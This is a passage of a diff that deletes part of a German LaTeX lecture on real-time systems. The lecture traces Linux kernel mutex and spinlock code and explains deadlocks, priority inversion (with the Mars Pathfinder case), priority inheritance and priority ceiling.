-    \put(5.5,1.35){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Tabelle\\wieder freigeben}}}
-  \end{picture}
-
-\end{frame}
-
-\setlength{\pdfpageheight}{48cm}
-
-\begin{frame}[fragile]
-
-  \lstinline{mutex_lock()} -- Ressource beanspruchen, notfalls warten
-
-  Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62
-
-  \medskip
-
-  \begin{lstlisting}
-    void __sched mutex_lock (struct mutex *lock)
-    {
-      might_sleep ();
-      __mutex_fastpath_lock (&lock->count, __mutex_lock_slowpath);
-      mutex_set_owner (lock);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(11.6,1.35){\line(-1,0){1}}
-    \put(11.6,1.35){\line(0,-1){2.45}}
-    \put(11.6,-1.10){\vector(-1,0){2.0}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/arch/x86/include/asm/mutex\_32.h}, ab Zeile 24
-
-  Macro-Definition für \lstinline{__mutex_fastpath_lock} (expandiert)
-
-  \medskip
-
-  Assembler:
-  \begin{lstlisting}[language={[x86masm]Assembler}]
-        lock dec (lock->count)
-        jns 1
-        call __mutex_lock_slowpath
-    1:
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9,0.95){\line(-1,0){3.5}}
-    \put(9,0.95){\line(0,-1){2.5}}
-    \put(9.0,-1.55){\vector(-1,0){1.0}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 398
-
-  \medskip
-
-  \begin{lstlisting}
-    static __used noinline void __sched
-      __mutex_lock_slowpath (atomic_t *lock_count)
-    {
-      struct mutex *lock = container_of (lock_count, struct mutex, count);
-      __mutex_lock_common (lock, TASK_UNINTERRUPTIBLE, 0,
-                               NULL, _RET_IP_);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(11.0,1.40){\line(-1,0){1.0}}
-    \put(11.0,1.40){\vector(0,-1){2.5}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 132
-
-  \medskip
-
-  \begin{lstlisting}
-    static inline int __sched
-    __mutex_lock_common (struct mutex *lock, long state, unsigned int subclass,
-                             struct lockdep_map *nest_lock, unsigned long ip)
-    {
-      struct task_struct *task = current;
-      struct mutex_waiter waiter;
-      unsigned long flags;
-
-      preempt_disable ();
-      mutex_acquire_nest (&lock->dep_map, subclass, 0, nest_lock, ip);
-
-      /* ... */
-
-      spin_lock_mutex (&lock->wait_lock, flags);
-
-      debug_mutex_lock_common (lock, &waiter);
-      debug_mutex_add_waiter (lock, &waiter, task_thread_info (task));
-
-      /* add waiting tasks to the end of the waitqueue (FIFO): */
-      list_add_tail (&waiter.list, &lock->wait_list);
-      waiter.task = task;
-
-      if (atomic_xchg (&lock->count, -1) == 1)
-        goto done;
-
-      lock_contended (&lock->dep_map, ip);
-
-      for (;;)
-        {
-          /*
-           * Lets try to take the lock again - this is needed even if
-           * we get here for the first time (shortly after failing to
-           * acquire the lock), to make sure that we get a wakeup once
-           * it's unlocked. Later on, if we sleep, this is the
-           * operation that gives us the lock. We xchg it to -1, so
-           * that when we release the lock, we properly wake up the
-           * other waiters:
-           */
-          if (atomic_xchg (&lock->count, -1) == 1)
-            break;
-
-          /*
-           * got a signal? (This code gets eliminated in the
-           * TASK_UNINTERRUPTIBLE case.)
-           */
-          if (unlikely (signal_pending_state (state, task)))
-            {
-              mutex_remove_waiter (lock, &waiter, task_thread_info (task));
-              mutex_release (&lock->dep_map, 1, ip);
-              spin_unlock_mutex (&lock->wait_lock, flags);
-
-              debug_mutex_free_waiter (&waiter);
-              preempt_enable ();
-              return -EINTR;
-            }
-          __set_task_state (task, state);
-
-          /* didn't get the lock, go to sleep: */
-          spin_unlock_mutex (&lock->wait_lock, flags);
-          schedule_preempt_disabled ();
-          spin_lock_mutex (&lock->wait_lock, flags);
-        }
-
-    done:
-      lock_acquired (&lock->dep_map, ip);
-      /* got the lock - rejoice! */
-      mutex_remove_waiter (lock, &waiter, current_thread_info ());
-      mutex_set_owner (lock);
-
-      /* set it to 0 if there are no waiters left: */
-      if (likely (list_empty (&lock->wait_list)))
-        atomic_set (&lock->count, 0);
-
-      spin_unlock_mutex (&lock->wait_lock, flags);
-
-      debug_mutex_free_waiter (&waiter);
-      preempt_enable ();
-
-      return 0;
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(7.9,28.3){\vector(-1,0){0.5}}
-    \put(8.0,28.3){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff\\auf Mutex sichern}}}
-    \put(7.4,2.3){\vector(-1,1){0.4}}
-    \put(7.5,2.0){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Mutex\\wieder freigeben}}}
-  \end{picture}
-
-\end{frame}
-
-\setlength{\pdfpageheight}{40.5cm}
-
-\begin{frame}[fragile]
-
-  \lstinline{spin_lock_mutex()} -- Mutex beanspruchen, notfalls \emph{busy waiting}
-
-  Datei \file{linux-3.7-rc1/kernel/mutex.h}, ab Zeile 12
-
-  \medskip
-
-  \begin{lstlisting}
-    #define spin_lock_mutex(lock, flags) \
-      do \
-        { \
-          spin_lock (lock); \
-          (void) (flags); \
-        } \
-      while (0)
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(8.5,1.75){\line(-1,0){4.5}}
-    \put(8.5,1.75){\line(0,-1){2.9}}
-    \put(8.5,-1.15){\vector(-1,0){1.0}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/spinlock.h}, ab Zeile 283
-
-  \medskip
-
-  \begin{lstlisting}
-    static inline void spin_lock (spinlock_t *lock)
-    {
-      raw_spin_lock (&lock->rlock);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9.3,0.95){\line(-1,0){4.0}}
-    \put(9.3,0.95){\line(0,-1){2.1}}
-    \put(9.3,-1.15){\vector(-1,0){1.0}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/spinlock.h}, Zeile 170
-
-  \medskip
-
-  \begin{lstlisting}
-    #define raw_spin_lock(lock)  _raw_spin_lock (lock)
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(10.0,0.55){\line(-1,0){0.5}}
-    \put(10.0,0.55){\line(0,-1){1.7}}
-    \put(10.0,-1.15){\vector(-1,0){1.3}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/include/linux/spinlock\_api\_smp.h}, Zeile 47
-
-  \medskip
-
-  \begin{lstlisting}
-    #define _raw_spin_lock(lock)  __raw_spin_lock (lock)
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(10.7,0.55){\line(-1,0){0.5}}
-    \put(10.7,0.55){\line(0,-1){1.75}}
-    \put(10.7,-1.2){\vector(-1,0){2.3}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/spinlock.c}, ab Zeile 46 (expandiert):
-
-  \medskip
-
-  \begin{lstlisting}
-    void __lockfunc __raw_spin_lock (spinlock_t *lock)
-    {
-      for (;;)
-        {
-          preempt_disable ();
-          if (likely (do_raw_spin_trylock (lock)))
-            break;
-          preempt_enable ();
-
-          if (!(lock)->break_lock)
-            (lock)->break_lock = 1;
-          while (!raw_spin_can_lock (lock) && (lock)->break_lock)
-            arch_spin_relax (&lock->raw_lock);
-        }
-      (lock)->break_lock = 0;
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(10.7,4.75){\line(-1,0){3.5}}
-    \put(10.7,4.75){\line(0,-1){5.95}}
-    \put(10.7,-1.2){\vector(-1,0){1.1}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/include/linux/spinlock.h}, ab Zeile 150:
-
-  \medskip
-
-  \begin{lstlisting}
-    static inline int do_raw_spin_trylock (raw_spinlock_t *lock)
-    {
-      return arch_spin_trylock (&(lock)->raw_lock);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(11.5,0.95){\line(-1,0){3.5}}
-    \put(11.5,0.95){\line(0,-1){2.1}}
-    \put(11.5,-1.15){\vector(-1,0){0.7}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 116:
-
-  \medskip
-
-  \begin{lstlisting}
-    static __always_inline int arch_spin_trylock (arch_spinlock_t *lock)
-    {
-      return __ticket_spin_trylock (lock);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9.5,0.95){\line(-1,0){3.5}}
-    \put(9.5,0.95){\vector(0,-1){1.7}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 65:
-
-  \medskip
-
-  \begin{lstlisting}
-    static __always_inline int __ticket_spin_trylock (arch_spinlock_t *lock)
-    {
-      arch_spinlock_t old, new;
-
-      old.tickets = ACCESS_ONCE (lock->tickets);
-      if (old.tickets.head != old.tickets.tail)
-        return 0;
-
-      new.head_tail = old.head_tail + (1 << TICKET_SHIFT);
-
-      /* cmpxchg is a full barrier, so nothing can move before it */
-      return cmpxchg (&lock->head_tail, old.head_tail, new.head_tail) == old.head_tail;
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(2.2,0.3){\line(0,1){0.4}}
-    \put(9.0,0.3){\line(-1,0){6.8}}
-    \put(9.0,0.3){\line(0,-1){1.45}}
-    \put(9.0,-1.15){\vector(-1,0){3.2}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 147:
-
-  \medskip
-
-  \begin{lstlisting}
-    #define cmpxchg(ptr, old, new) \
-      __cmpxchg (ptr, old, new, sizeof (*(ptr)))
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9.0,0.5){\line(-1,0){1.8}}
-    \put(9.0,0.5){\line(0,-1){1.65}}
-    \put(9.0,-1.15){\vector(-1,0){2.2}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 131:
-
-  \medskip
-
-  \begin{lstlisting}
-    #define __cmpxchg(ptr, old, new, size) \
-      __raw_cmpxchg ((ptr), (old), (new), (size), LOCK_PREFIX)
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(2.2,-0.1){\line(0,1){0.3}}
-    \put(9.0,-0.1){\line(-1,0){6.8}}
-    \put(9.0,-0.1){\line(0,-1){1.05}}
-    \put(9.0,-1.15){\vector(-1,0){2.2}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 110:
-
-  \medskip
-
-  \begin{lstlisting}
-    asm volatile (lock "cmpxchgl %2,%1" \
-                  : "=a" (__ret), "+m" (*__ptr) \
-                  : "r" (__new), "0" (__old) \
-                  : "memory");
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9.8,1.8){\vector(-1,0){0.6}}
-    \put(9.8,1.2){\line(0,1){0.6}}
-    \put(9.8,1.1){\makebox(0,0)[t]{\shortstack{atomarer und exklusiver\\Zugriff auf Spinlock\\durch Hardware-Unterstützung}}}
-  \end{picture}
-
-\end{frame}
-
-\setlength{\pdfpageheight}{\normalpdfpageheight}
-
-%\sectionnonumber{Literaturempfehlung}
-%\subsectionnonumber{Automotive Embedded Systeme}
-%
-%\begin{frame}[c]
-%
-%  \showsectionnonumber
-%
-%  Prof.\ Dr.\ Joachim Wietzke, FH Darmstadt,\\
-%  Prof.\ Dr.\ Manh Tien Tran, FH Kaiserslautern:
-%
-%  \medskip
-%
-%  \showsubsectionnonumber
-%
-%  \vspace{-\medskipamount}
-%
-%  Springer-Verlag, Berlin, Heidelberg 2005
-%
-%  \bigskip
-%
-%  Lizenz: proprietär
-%
-%  \medskip
-%
-%  (gesetzt mit \textrm{\LaTeX}, ca.\ \EUR{10})
-%
-%\end{frame}
-
-\sectionnonumber{Theorie der Echtzeitsysteme}
-\subsection{Multitasking}
-\subsection{Ressourcen}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ressourcen reservieren
-  \begin{itemize}
-    \item
-      \newterm{Semaphor}\\
-      gemeinsame Variable mehrerer Prozesse\\
-      zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount]
-      Ressource belegt \textarrow\ Kontextwechsel
-    \medskip
-    \item
-      \newterm{Mutex}\\
-      Mechanismus, damit immer nur ein Prozeß gleichzeitig\\
-      auf eine Ressource zugreifen kann
-    \medskip
-    \item
-      \newterm{Spinlock} (\emph{busy waiting\/})\\
-      leichtgewichtige Alternative zu Kontextwechsel
-    \medskip
-    \item
-      \newterm{Kritischer Abschnitt -- critical section}\\
-      Programmabschnitt zwischen Reservierung\\
-      und Freigabe einer Ressource\\
-      \textarrow\ sollte immer so kurz wie möglich sein
-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  \begin{picture}(0,0)
-    \only<2-3>{\put(6.3,-7){\includegraphics[height=6cm]{philosophenproblem.jpg}}}
-  \end{picture}%
-  \newterm{Verklemmungen\/}: Gegenseitiges Blockieren von Ressourcen
-  \begin{itemize}
-    \item
-      \newterm{Deadlock\/}: Prozeß wartet
-    \item
-      \newterm{Livelock\/}: Prozeß macht andere Dinge\\
-      (z.\,B.\ \emph{busy waiting\/})
-  \end{itemize}
-
-  \pause
-  \bigskip
-
-  Beispiel: Philosophenproblem
-
-  \only<2-3>{%
-    \begin{itemize}
-      \item
-        5 Philosophen, 5 Gabeln
-      \item
-        2 Gabeln zum Essen notwendig
-      \item
-        Wer essen will, nimmt eine Gabel\\
-        und wartet notfalls auf die zweite.
-      \item
-        Keiner legt eine einzelne Gabel\\
-        wieder zurück.
-    \end{itemize}
-    Jeder hält 1 Gabel \textarrow\ \newterm{Verklemmung}\\[0.5\smallskipamount]
-    \pause
-    \strut\quad schweigen \textarrow\ \newterm{Deadlock}\\
-    \strut\quad philosophieren weiter \textarrow\ \newterm{Livelock}\\[-1cm]
-  }
-  \only<4->{%
-    \bigskip
-
-    Bedingungen für Verklemmungen:
-
-    \begin{minipage}[t]{4.5cm}
-      \begin{itemize}
-        \item
-          Exklusivität
-        \item
-          \newterm{hold and wait}
-        \item
-          Entzug nicht möglich
-        \item
-          zirkuläre Blockade
-      \end{itemize}
-    \end{minipage}\pause[5]
-    \begin{minipage}[t]{7.5cm}
-      \begin{itemize}
-        \arrowitem
-          Spooling
-        \arrowitem
-          simultane Zuteilung
-        \arrowitem
-          Prozesse suspendieren, beenden, \newterm{Rollback}
-        \arrowitem
-          Reihenfolge abhängig von Ressourcen
-      \end{itemize}
-    \end{minipage}
-  }
-
-\end{frame}
-
-\subsection{Prioritäten}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Linux 0.01
-  \begin{itemize}
-    \item
-      Timer-Interrupt: Zähler des aktuellen Prozesses wird dekrementiert;\\
-      Prozeß mit höchstem Zähler bekommt Rechenzeit.
-    \item
-      Wenn es keinen laufbereiten Prozeß mit positivem Zähler gibt,\\
-      bekommen alle Prozesse gemäß ihrer \newterm{Priorität\/} neue Zähler zugewiesen.
-    \item
-      \emph{keine\/} harte Echtzeit
-    \arrowitem
-      \newterm{dynamische Prioritätenvergabe\/}:\\
-      Rechenzeit hängt vom Verhalten des Prozesses ab
-  \end{itemize}
-
-  \medskip
-
-  Echtzeitbetriebssysteme
-  \begin{itemize}
-    \item
-      Prozesse können einen festen Anteil an Rechenzeit bekommen.
-    \item
-      Bei Ereignissen können Prozesse hoher Priorität\\
-      Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt.
-    \arrowitem
-      \newterm{statische Prioritätenvergabe}
-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Echtzeitbetriebssysteme
-  \begin{itemize}
-    \item
-      Prozesse können einen festen Anteil an Rechenzeit bekommen.
-    \item
-      Bei Ereignissen können Prozesse hoher Priorität\\
-      Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt.
-  \end{itemize}
-
-  \vspace{0cm plus 1filll}
-
-  \begin{center}
-    \begin{picture}(11,4)(-1,0)
-      \small
-
-      \put(-0.1,0.5){\vector(1,0){10.1}}
-      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
-      \put(0,0.4){\vector(0,1){3.6}}
-      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
-
-      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \put(3,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
-      \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}}
-      \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
-      \put(0,3){\line(1,0){10}}
-
-      \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
-      \put(1.5,1){{\color{lightgreen}\rule{1.5cm}{0.4cm}}}
-      \put(3.7,1){{\color{lightgreen}\rule{0.6cm}{0.4cm}}}
-      \alt<1>{%
-        \put(7.9,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}}
-      }{%
-        \put(8.1,1){{\color{lightgreen}\rule{0.9cm}{0.4cm}}}
-      }
-      \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-      \put(0,1){\line(1,0){10}}
-
-      \pause
-
-      \put(4.6,2){{\color{lightyellow}\rule{0.4cm}{0.4cm}}}
-      \put(5.7,2){{\color{lightyellow}\rule{1.3cm}{0.4cm}}}
-      \put(7.7,2){{\color{lightyellow}\rule{0.4cm}{0.4cm}}}
-      \put(0,2){\line(1,0){10}}
-
-    \end{picture}
-  \end{center}
-
-\end{frame}
-
-\subsectionnonumber{Prioritäten \protect\color{darkgray}und Ressourcen}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  \only<4->{%
-    Der höher priorisierte Prozeß bewirkt selbst,\\
-    daß er eine Ressource verspätet bekommt.
-
-    \medskip
-
-    \textarrow\ \newterm{begrenzte Prioritätsinversion}
-
-    \medskip
-
-    maximale Verzögerung: Länge des kritischen Bereichs
-  }
-
-  \vspace{0cm plus 1filll}
-
-  \begin{center}
-    \begin{picture}(11,4)(-1,0)
-      \small
-
-      \put(-0.1,0.5){\vector(1,0){10.1}}
-      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
-      \put(0,0.4){\vector(0,1){3.6}}
-      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
-
-      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \only<1-2>{\put(3,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}}
-      \only<3->{\put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}}
-      \only<3-4>{%
-        \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        \put(4.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}}
-        {\thicklines
-        \put(3.3,2.95){\line(2,1){1.0}}
-        \put(3.3,3.45){\line(2,-1){1.0}}}
-      }
-      \only<5->{%
-        \put(3.9,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        \put(4.7,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}}
-      }
-      \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}}
-      \only<1-2>{%
-        \put(5.4,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        \put(6.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}}
-      }
-      \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
-      \put(0,3){\line(1,0){10}}
-
-      \only<2->{%
-        \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
-        \put(1.5,1){{\color{lightgreen}\rule{1.5cm}{0.4cm}}}
-        \put(2.6,1){{\color{medgreen}\rule{0.4cm}{0.4cm}}}
-        \only<2-4>{%
-          \put(3.7,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}}
-          \put(4.2,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-        }
-        \only<5->{%
-          \put(3.4,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}}
-          \put(4.9,1){{\color{lightgreen}\rule{0.1cm}{0.4cm}}}
-          \put(5.6,1){{\color{lightgreen}\rule{0.2cm}{0.4cm}}}
-        }
-        \put(7.7,1){{\color{lightgreen}\rule{1.3cm}{0.4cm}}}
-        \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-        \put(0,1){\line(1,0){10}}
-      }
-    \end{picture}
-  \end{center}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  \visible<4->{%
-    Ein Prozeß mit mittlerer Priorität bewirkt,
-    daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
-    \medskip
-
-  \textarrow\ }\newterm{unbegrenzte Prioritätsinversion}
-
-  \pause
-  \vspace{0cm plus 1filll}
-
-  \begin{center}
-    \begin{picture}(11,4)(-1,0)
-      \small
-
-      \put(-0.1,0.5){\vector(1,0){10.1}}
-      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
-      \put(0,0.4){\vector(0,1){3.6}}
-      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
-
-      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}
-      \only<2>{%
-        \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        \put(4.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}}
-        {\thicklines
-        \put(3.3,2.95){\line(2,1){1.0}}
-        \put(3.3,3.45){\line(2,-1){1.0}}}
-        \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}}
-        \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-        \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
-      }
-      \put(0,3){\line(1,0){10}}
-
-      \only<2->{%
-        \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
-        \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}}
-        \alt<1-4>{%
-          \put(2.6,1){{\color{medgreen}\rule{0.4cm}{0.4cm}}}
-        }{%
-          \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}}
-        }
-        \only<2>{%
-          \put(3.7,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}}
-          \put(4.2,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-        }
-        \only<3-4>{%
-          \put(3.4,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}}
-%          \put(3.9,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-        }
-        \only<2>{%
-          \put(7.7,1){{\color{lightgreen}\rule{1.3cm}{0.4cm}}}
-          \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
-        }
-        \put(0,1){\line(1,0){10}}
-      }
-
-      \only<5->{%
-        \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}}
-        \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}}
-        \put(0,2){\line(1,0){10}}
-      }
-    \end{picture}
-  \end{center}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ein Prozeß mit mittlerer Priorität bewirkt,
-  daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
-  \medskip
-
-  \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
-  \medskip
-
-  Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997
-
-  \only<1>{%
-    \begin{center}
-      \includegraphics[width=8.7cm]{pathfinder.jpg}
-      \vspace*{-1cm}
-    \end{center}
-  }
-
-  \bigskip
-
-  \only<2>{%
-    Gegenmaßnahmen
-    \begin{itemize}
-      \item
-        \newterm{Priority Inheritance -- Prioritätsvererbung}\\
-        Der Besitzer des Mutex erbt die Priorität\\
-        des Prozesses, der auf den Mutex wartet.
-    \end{itemize}
-
-    \bigskip
-
-    \begin{minipage}{7.0cm}
-      \begin{flushright}
-        \url{http://research.microsoft.com/en-us/\\um/people/mbj/Mars\_Pathfinder/}
-      \end{flushright}
-    \end{minipage}
-
-    \vspace{1.35cm}\strut\hfill\makebox(0,0)[br]{\includegraphics[height=2.8cm]{pathfinder.jpg}}\vspace*{-1cm}
-  }
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ein Prozeß mit mittlerer Priorität bewirkt,
-  daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
-  \medskip
-
-  \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
-  \bigskip
-
-  Gegenmaßnahme: \newterm{Priority Inheritance -- Prioritätsvererbung}
-
-  \vspace{0cm plus 1filll}
-
-  \begin{center}
-    \begin{picture}(11,4)(-1,0)
-      \small
-
-      \put(-0.1,0.5){\vector(1,0){10.1}}
-      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
-      \put(0,0.4){\vector(0,1){3.6}}
-      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
-
-      \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
-      \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}}
-      \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}}
-      \put(0,1){\line(1,0){10}}
-
-      \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}}
-      \only<1-2>{%
-        \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}}
-      }
-      \put(0,2){\line(1,0){10}}
-
-      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}
-      \put(0,3){\line(1,0){10}}
-
-      \only<2>{%
-        \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        {\thicklines
-        \put(3.3,2.95){\line(2,1){1.0}}
-        \put(3.3,3.45){\line(2,-1){1.0}}}
-      }
-
-      \only<3->{%
-        \put(3.4,3){{\color{medgreen}\rule{0.7cm}{0.4cm}}}
-        \put(4.1,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        \put(5.7,2){{\color{lightyellow}\rule{1.3cm}{0.4cm}}}
-        \put(4.9,3){{\color{lightorange}\rule{0.8cm}{0.4cm}}}
-        \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-        \put(7.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}}
-        \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
-        \put(9.7,2){{\color{lightyellow}\rule{0.3cm}{0.4cm}}}
-      }
-    \end{picture}
-  \end{center}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ein Prozeß mit mittlerer Priorität bewirkt,
-  daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
-  \medskip
-
-  \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
-  \bigskip
-
-  Gegenmaßnahme: \newterm{Priority Ceiling -- Prioritätsobergrenze}
-
-  \vspace{0cm plus 1filll}
-
-  \begin{center}
-    \begin{picture}(11,4)(-1,0)
-      \small
-
-      \put(-0.1,0.5){\vector(1,0){10.1}}
-      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
-      \put(0,0.4){\vector(0,1){3.6}}
-      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
-
-      \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
-      \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}}
-%      \only<1>{%
-%        \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}}
-%      }
-      \put(0,1){\line(1,0){10}}
-
-%      \only<1>{%
-%        \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}}
-%        \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}}
-%      }
-      \put(0,2){\line(1,0){10}}
-
-      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-%      \only<1>{%
-%        \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}
-%      }
-      \put(0,3){\line(1,0){10}}
-
-%      \only<2>{%
-%      \only<2>{%
-        \put(2.6,3){{\color{medgreen}\rule{0.9cm}{0.4cm}}}
-        \put(3.5,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}
-        \put(3.9,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        \put(4.7,3){{\color{lightorange}\rule{0.8cm}{0.4cm}}}
-        \put(5.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}}
-        \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-        \put(7.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}}
-        \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
-        \put(9.7,2){{\color{lightyellow}\rule{0.3cm}{0.4cm}}}
-%      }
-    \end{picture}
